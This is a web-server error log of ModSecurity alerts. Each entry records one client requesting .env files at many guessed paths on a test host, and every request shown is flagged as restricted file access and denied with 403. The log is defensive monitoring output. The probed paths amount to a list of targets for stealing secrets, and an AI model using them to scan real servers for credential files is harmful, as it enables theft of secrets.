[Wed Feb 25 06:05:07.224201 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3QAAAAA&quot;]
[Wed Feb 25 06:05:07.251643 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3gAAAAA&quot;]
[Wed Feb 25 06:05:07.251944 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3gAAAAA&quot;]
[Wed Feb 25 06:05:07.252139 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3gAAAAA&quot;]
[Wed Feb 25 06:05:07.269120 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /films/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbQAAAAc&quot;]
[Wed Feb 25 06:05:07.269373 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbQAAAAc&quot;]
[Wed Feb 25 06:05:07.269549 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbQAAAAc&quot;]
[Wed Feb 25 06:05:07.289596 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dodoswap-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3wAAAAA&quot;]
[Wed Feb 25 06:05:07.289852 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3wAAAAA&quot;]
[Wed Feb 25 06:05:07.290021 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3wAAAAA&quot;]
[Wed Feb 25 06:05:07.297049 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/airflow_dag/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbgAAAAc&quot;]
[Wed Feb 25 06:05:07.297314 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbgAAAAc&quot;]
[Wed Feb 25 06:05:07.297507 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbgAAAAc&quot;]
[Wed Feb 25 06:05:07.330125 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dotfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4AAAAAA&quot;]
[Wed Feb 25 06:05:07.330433 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4AAAAAA&quot;]
[Wed Feb 25 06:05:07.330609 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4AAAAAA&quot;]
[Wed Feb 25 06:05:07.373191 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/kafka_twitter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbwAAAAc&quot;]
[Wed Feb 25 06:05:07.373531 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbwAAAAc&quot;]
[Wed Feb 25 06:05:07.373741 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbwAAAAc&quot;]
[Wed Feb 25 06:05:07.452313 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/startingfile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcAAAAAc&quot;]
[Wed Feb 25 06:05:07.452633 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcAAAAAc&quot;]
[Wed Feb 25 06:05:07.452845 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcAAAAAc&quot;]
[Wed Feb 25 06:05:07.483949 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /download/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4QAAAAA&quot;]
[Wed Feb 25 06:05:07.484227 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4QAAAAA&quot;]
[Wed Feb 25 06:05:07.484419 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4QAAAAA&quot;]
[Wed Feb 25 06:05:07.514892 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /downloads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4gAAAAA&quot;]
[Wed Feb 25 06:05:07.515182 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4gAAAAA&quot;]
[Wed Feb 25 06:05:07.515372 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4gAAAAA&quot;]
[Wed Feb 25 06:05:07.516705 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /finalversion/lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcQAAAAc&quot;]
[Wed Feb 25 06:05:07.516980 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcQAAAAc&quot;]
[Wed Feb 25 06:05:07.517152 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcQAAAAc&quot;]
[Wed Feb 25 06:05:07.639491 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4wAAAAA&quot;]
